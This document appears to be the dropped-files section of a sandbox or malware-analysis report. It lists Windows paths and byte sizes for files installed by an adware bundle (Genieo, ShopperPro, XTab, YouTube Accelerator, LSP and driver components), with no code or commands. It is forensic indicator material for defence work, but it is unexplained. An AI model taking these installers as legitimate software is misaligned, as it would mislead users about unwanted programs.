    C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\INSFHQ52.txt (779 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\8AEWBWHI\eula[1].htm (1061 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\DITURME3.txt (781 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\3MKL3WT5\__utm[1].gif (35 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\3MKL3WT5\__utm[2].gif (35 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\8AEWBWHI\236762cce52fe54e8735a3807f6f1de4[1].htm (37282 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\InstallGenieo.exe.2 (9352 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\QXUAWTFE.txt (327 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\InstallGenieo.exe.0 (9352 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\InstallGenieo.exe.6 (9352 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\InstallGenieo.exe.7 (9352 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\InstallGenieo.exe.4 (9352 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\InstallGenieo.exe.5 (9352 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\BCPAZS9Y.txt (613 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\E860GNAH.txt (781 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\LJ3R51UF.txt (779 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\PUBW04XZ.txt (779 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\Y5BS1TN3.txt (129 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\LPEY9HD1\tokyo_sprite_full[2].png (1279 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\3MKL3WT5\tokyoLightGrayStripesBG[2].jpg (3 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\UpdateCheckerSetup.exe.6 (1928 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\UpdateCheckerSetup.exe.7 (1928 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\UpdateCheckerSetup.exe.4 (1928 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\UpdateCheckerSetup.exe.5 (1928 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\UpdateCheckerSetup.exe.2 (1928 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\UpdateCheckerSetup.exe.3 (1928 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\UpdateCheckerSetup.exe.0 (1928 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\UpdateCheckerSetup.exe.1 (1928 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\BGOYP3ZV.txt (779 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\AXND9IHQ\__utm[2].gif (35 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\D5838A4P.txt (779 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\LPEY9HD1\tokyo_sprite_full[3].png (1300 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\AXND9IHQ\032b51a823ded246ba19346b82f99535[1].htm (33662 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\8D9E.tmp (39568 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\XNWZIMYM.txt (779 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\8D9E.tmp.2 (5224 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\8D9E.tmp.3 (5224 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\8D9E.tmp.0 (5224 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\8D9E.tmp.1 (5224 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\8D9E.tmp.6 (5224 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\8D9E.tmp.7 (5224 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\8D9E.tmp.4 (5224 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\8D9E.tmp.5 (5224 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\51U2F1AV.txt (779 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SourceApp\lm (128 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsq896B.tmp\nsExec.dll (14 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsq896B.tmp\inetc.dll (44 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsq896B.tmp\IpConfig.dll (4254 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ilg (303188 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsq896B.tmp\ExecDos.dll (13 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsq896B.tmp\NSISEncrypt.dll (3417 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsq896B.tmp\System.dll (23 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SourceApp\SourceApp.mg.exe (7853 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsq896B.tmp\nsJSON.dll (15 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SourceApp\tlg (41 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SourceApp\mj (3 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsq896B.tmp\WmiInspector.dll (3137 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsq896B.tmp\UserInfo.dll (8 bytes)
    C:\ProgramData\WindowsMangerProtect\ProtectWindowsManager.exe (3560 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLBB3D4.tmp (144 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\8AEWBWHI\SMALLTEST[2].htm (70 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\3D9MW8IHLHA2ND9MNXG9.temp (196 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\P7O7IAURZO1I8FXB5U20.temp (196 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\727EG16HH7CAMA1P9RMT.temp (196 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp960654\images\button1.png (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp960654\images\loading_bg.png (159 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp960654\images\bg.png (5064 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp960654\images\code\code1.jpg (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp960654\images\loading_light.png (139 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp960654\images\code\code3.jpg (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp960654\DataBase (26688 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp960654\BaofengUpdate.exe (2461 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp960654\conf (83 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp960654\422.json (520 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp960654\UninstallManager.exe (60186 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp960654\images\unchecked.png (135 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp960654\images\min.png (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp960654\uninstallDlg2.xml (784 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp960654\lpd#4.3.0.xpi (6360 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp960654\1.zip (40356 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp960654\images\code\code2.jpg (4 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp960654\images\checkbox.png (545 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp960654\MessageBox.xml (3 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\3MKL3WT5\2[1].zip (54989 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp960654\images\button.png (3 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp960654\images\Thumbs.db (784 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp960654\2.zip (18526 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp960654\images\code\code6.jpg (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp960654\ffsearch_toolbar!1.0.0.1025.xpi (14 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\LPEY9HD1\1[1].zip (163488 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp960654\images\bk_shadow.png (3 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp960654\images\scrollbar.bmp (1552 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp960654\images\code\Thumbs.db (1552 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp960654\images\code\code5.jpg (4 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp960654\images\checked.png (222 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp960654\images\checkbox_select.png (783 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp960654\images\bg1.png (2 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp960654\images\code\code4.jpg (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp960654\images\close.png (3 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsuD3B4.tmp\nsExec.dll (14 bytes)
    %Program Files%\Common Files\ShopperPro\spbia.exe (11344 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsuD3B4.tmp\AccDownload.dll (11359 bytes)
    %Program Files% (x86)\ShopperPro\ShopperPro.exe (33633 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsuD3B4.tmp\jsdrv.exe (100669 bytes)
    %Program Files%\Common Files\ShopperPro\spbii64.exe (17848 bytes)
    %Program Files%\Common Files\ShopperPro\spbiw.sys (1552 bytes)
    %Program Files%\Common Files\ShopperPro\spbii32.exe (13368 bytes)
    %Program Files% (x86)\ShopperPro\Updater.exe (25112 bytes)
    %Program Files%\Common Files\ShopperPro\spbiu.exe (69777 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsuD3B4.tmp\MoreInfo.dll (15 bytes)
    %Program Files% (x86)\ShopperPro\FireFox\chrome.manifest (113 bytes)
    %Program Files% (x86)\ShopperPro\FireFox\content\overlay.xul (203 bytes)
    %Program Files%\Common Files\ShopperPro\spbici32.dll (35507 bytes)
    %Program Files% (x86)\ShopperPro\JSDriver\jsdrv.sys (1856 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsuD3B4.tmp\System.dll (23 bytes)
    %Program Files% (x86)\ShopperPro\JSDriver\jsdrv.exe (100378 bytes)
    %Program Files% (x86)\ShopperPro\FireFox\content\overlay.js (13 bytes)
    %Program Files% (x86)\ShopperPro\ShopperPro.dll (14184 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsfD3A4.tmp (339090 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsuD3B4.tmp\nsProcess.dll (12 bytes)
    %Program Files% (x86)\ShopperPro\FireFox\install.rdf (828 bytes)
    %Program Files%\Common Files\ShopperPro\spbici64.dll (45051 bytes)
    %Program Files% (x86)\ShopperPro\database1_0_0.json (5 bytes)
    %Program Files% (x86)\ShopperPro\SPRemove.exe (20416 bytes)
    %Program Files% (x86)\ShopperPro\ShopperPro64.dll (16944 bytes)
    %Program Files% (x86)\ShopperPro\manifest.json (595 bytes)
    %Program Files% (x86)\ShopperPro\FireFox\content\shopperpro_128.png (5 bytes)
    %Program Files% (x86)\XTab\conf (1498 bytes)
    %Program Files% (x86)\XTab\BrowerWatchFF.dll (24 bytes)
    %Program Files% (x86)\XTab\BrowerWatchCH.dll (24 bytes)
    %Program Files% (x86)\XTab\IeWatchDog.dll (24 bytes)
    %Program Files% (x86)\XTab\BrowserAction.dll (49 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\AXND9IHQ\XTab_4.0.2.1716[1].exe (204370 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp960654\tmp\XTab_v4.0.exe (36711 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\WER\ReportArchive\AppCrash_biclient.exe_97ca2157dc4a9efbd1a44fda2aa67c3f797d_0c5c5215\Report.wer (246004 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\WER\ReportArchive\AppCrash_biclient.exe_97ca2157dc4a9efbd1a44fda2aa67c3f797d_0b85892c\Report.wer (239510 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\WER\ReportArchive\AppCrash_YTAHelper.exe_dc1cb0a6c5fbb2d495014aa7f606d9b96363555_0fb10176\Report.wer (194532 bytes)
    C:\ProgramData\ShopperPro\config.json (490 bytes)
    C:\ProgramData\ShopperPro\ShopperPro.dll (2321 bytes)
    %Program Files% (x86)\ShopperPro\config.json (1260 bytes)
    %Program Files% (x86)\ShopperPro\JSDriver\1502.0.0.0\config.json (770 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\content\config.json (490 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\content\database1_0_0.json (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\install.rdf (828 bytes)
    %Program Files% (x86)\ShopperPro\JSDriver\1502.0.0.0\database1_0_0.json (5 bytes)
    %Program Files% (x86)\ShopperPro\JSDriver\1502.0.0.0\jsdrv.sys (52 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\content\overlay.js (13 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\content\overlay.xul (203 bytes)
    C:\ProgramData\ShopperPro\database1_0_0.json (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\chrome.manifest (113 bytes)
    C:\ProgramData\ShopperPro\ShopperPro64.dll (3073 bytes)
    %Program Files% (x86)\ShopperPro\JSDriver\1502.0.0.0\jsdrv.exe (22786 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\content\shopperpro_128.png (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsaC8DC.tmp\D1958.dll (30 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsaC8DC.tmp\setup1.exe (142646 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsaC8DC.tmp\NK.lky (16 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsaC8DC.tmp\setup.exe (1581404 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskC8CB.tmp (152192 bytes)
    %Program Files% (x86)\YouTube Accelerator\instlsp.log (295 bytes)
    C:\ProgramData\TEMP:56E2E879 (375 bytes)
    %Program Files% (x86)\YTAHelper\FireFox\content\YTAHelper_64.png (4 bytes)
    %Program Files% (x86)\YTAHelper\FireFox\chrome.manifest (111 bytes)
    %Program Files% (x86)\YTAHelper\YTAHelper.exe (32824 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nspDC6B.tmp\jsdrv.exe (100669 bytes)
    %Program Files% (x86)\YTAHelper\FireFox\install.rdf (884 bytes)
    %Program Files% (x86)\YTAHelper\JSDriver\jsdrv.sys (1856 bytes)
    %Program Files% (x86)\YTAHelper\FireFox\content\overlay.js (13 bytes)
    %Program Files% (x86)\YTAHelper\FireFox\content\overlay.xul (203 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nspDC6B.tmp\nsExec.dll (14 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nspDC6B.tmp\System.dll (23 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nspDC6B.tmp\nsProcess.dll (12 bytes)
    C:\Users\Public\Documents\YTAHelper\JsDriver\Config.xml (1 bytes)
    %Program Files% (x86)\YTAHelper\SPRemove.exe (17848 bytes)
    %Program Files% (x86)\YTAHelper\yta_database1_0_0.json (2 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nspDC6A.tmp (133285 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nspDC6B.tmp\MoreInfo.dll (15 bytes)
    %Program Files% (x86)\YTAHelper\YTAHelper.dll (15168 bytes)
    %Program Files% (x86)\YTAHelper\JSDriver\jsdrv.exe (100378 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nspDC6B.tmp\AccDownload.dll (11667 bytes)
    %Program Files% (x86)\YTAHelper\YTAHelper64.dll (17848 bytes)
    %Program Files% (x86)\YTAHelper\FireFox\content\shopperpro_128.png (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Install_4568\ins_postInst.exe (2999 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Install_4568\ins_yta.exe (34498 bytes)
    C:\ProgramData\ShopperPro\spbihe.js (435 bytes)
    C:\Windows\Temp\SPBI_cache_iexplore.exe.cache (1548 bytes)
    C:\Windows\SysWOW64\AniGIF.ocx (172 bytes)
    C:\Windows\Temp\SBCED6B.tmp (44 bytes)
    C:\Windows\Temp\SBC25B1.tmp (486 bytes)
    C:\Windows\Temp\SBCF4DD.tmp (51193 bytes)
    %Program Files% (x86)\YouTube Accelerator\helper.dll (200 bytes)
    C:\Windows\Temp\SBCE304.tmp (547 bytes)
    C:\Windows\Temp\SBCF105.tmp (44 bytes)
    C:\Windows\Temp\SBC26F5.tmp (547 bytes)
    C:\Windows\Temp\SBCE7A0.tmp (98 bytes)
    C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\va_conf.dat (706 bytes)
    C:\Windows\Temp\SBC2236.tmp (486 bytes)
    C:\Windows\Temp\SBCF01A.tmp (98 bytes)
    %Program Files% (x86)\YouTube Accelerator\engine.dll (146 bytes)
    %Program Files% (x86)\YouTube Accelerator\ipc.dll (286 bytes)
    %Program Files% (x86)\YouTube Accelerator\xmldb.dll (192 bytes)
    %Program Files% (x86)\YouTube Accelerator\~GLH000e.TMP (11493 bytes)
    %Program Files% (x86)\YouTube Accelerator\~GLH001a.TMP (13284 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\blank.html (75 bytes)
    %Program Files% (x86)\YouTube Accelerator\~GLH000d.TMP (7581 bytes)
    C:\Users\"%CurrentUserName%"\Desktop\YouTube Accelerator.lnk (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VADEU.LNG (18 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\~GLH0006.TMP (115350 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\updater.exe (14310 bytes)
    %Program Files% (x86)\YouTube Accelerator\~GLH0019.TMP (11019 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAENG.LNG (8 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YTAuninstall.mht (9 bytes)
    %Program Files% (x86)\YouTube Accelerator\~GLH0011.TMP (34 bytes)
    %Program Files% (x86)\YouTube Accelerator\~GLH001f.TMP (2461 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAIDN.LNG (17 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAPOL.LNG (1166 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAROM.LNG (19 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\sporder.Dll (8 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~GLH0001.TMP (2104 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\testlsp.exe (19739 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~GLH0004.TMP (24 bytes)
    %Program Files% (x86)\YouTube Accelerator\~GLH0009.TMP (2104 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\xmldb.dll (3048 bytes)
    %Program Files% (x86)\YouTube Accelerator\~GLH0016.TMP (5381 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~GLH0003.TMP (119 bytes)
    %Program Files% (x86)\YouTube Accelerator\~GLH0010.TMP (610 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\OK.gif (329 bytes)
    %Program Files% (x86)\YouTube Accelerator\~GLH0008.TMP (2784 bytes)
    %Program Files% (x86)\YouTube Accelerator\~GLH000c.TMP (941 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VATRK.LNG (18 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLMB81B.tmp (12 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAITA.LNG (1660 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAPTB.LNG (401 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~GLH0002.TMP (2104 bytes)
    %Program Files% (x86)\YouTube Accelerator\temp.000 (51331 bytes)
    %Program Files% (x86)\YouTube Accelerator\res\~GLH0014.TMP (75 bytes)
    %Program Files% (x86)\YouTube Accelerator\YouTubeAcceleratorService.exe (49 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VASRB.LNG (1184 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\lspinst2.exe (30222 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAPOL.LNG (1166 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VASRB.LNG (1184 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAESM.LNG (873 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\ytalsp.dll (3271 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLJB423.tmp (6 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAFRA.LNG (402 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YouTubeAccelerator.exe (35420 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YTAHUninstall.exe (4742 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAFRA.LNG (402 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\ipc.dll (6691 bytes)
    %Program Files% (x86)\YouTube Accelerator\~GLH000f.TMP (329 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YTAHelper.exe (44331 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VANLD.LNG (13 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\~GLH0007.TMP (1568 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAFIL.LNG (351 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLFBC33.tmp (12 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\lspinst.exe (20746 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\engine.dll (34861 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\Res.dll (7687 bytes)
    %Program Files% (x86)\YouTube Accelerator\~GLH000a.TMP (18940 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLCB402.tmp (3791 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YouTubeAcceleratorService.exe (20848 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAITA.LNG (1660 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAJPN.LNG (12 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLKB626.tmp (1604 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~GLH0005.TMP (65 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VADEU.LNG (18 bytes)
    %Program Files% (x86)\YouTube Accelerator\~GLH0012.TMP (15 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\helper.dll (4155 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\varemove_page2.mht (1961 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAESM.LNG (873 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAIDN.LNG (17 bytes)
    %Program Files% (x86)\YouTube Accelerator\~GLH0015.TMP (4061 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~GLH0000.TMP (10 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\AniGIF.ocx (3175 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\varemove_page1.mht (10 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\Cancel.gif (610 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAJPN.LNG (12 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VANLD.LNG (13 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\unelevate.exe (2082 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\cabex.dll (98 bytes)
    C:\ProgramData\Microsoft\Windows\Start Menu\Programs\YouTube Accelerator\YouTube Accelerator.lnk (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLGBC22.tmp (90922 bytes)
    %Program Files% (x86)\YouTube Accelerator\YouTubeAccelerator.exe (146 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VATRK.LNG (18 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAFAR.LNG (15 bytes)
    C:\Windows\SysWOW64\temp.000 (3624 bytes)
    %Program Files% (x86)\YouTube Accelerator\~GLH000b.TMP (11493 bytes)
    C:\ProgramData\Microsoft\Windows\Start Menu\Programs\YouTube Accelerator\~GLH0021.TMP (65 bytes)
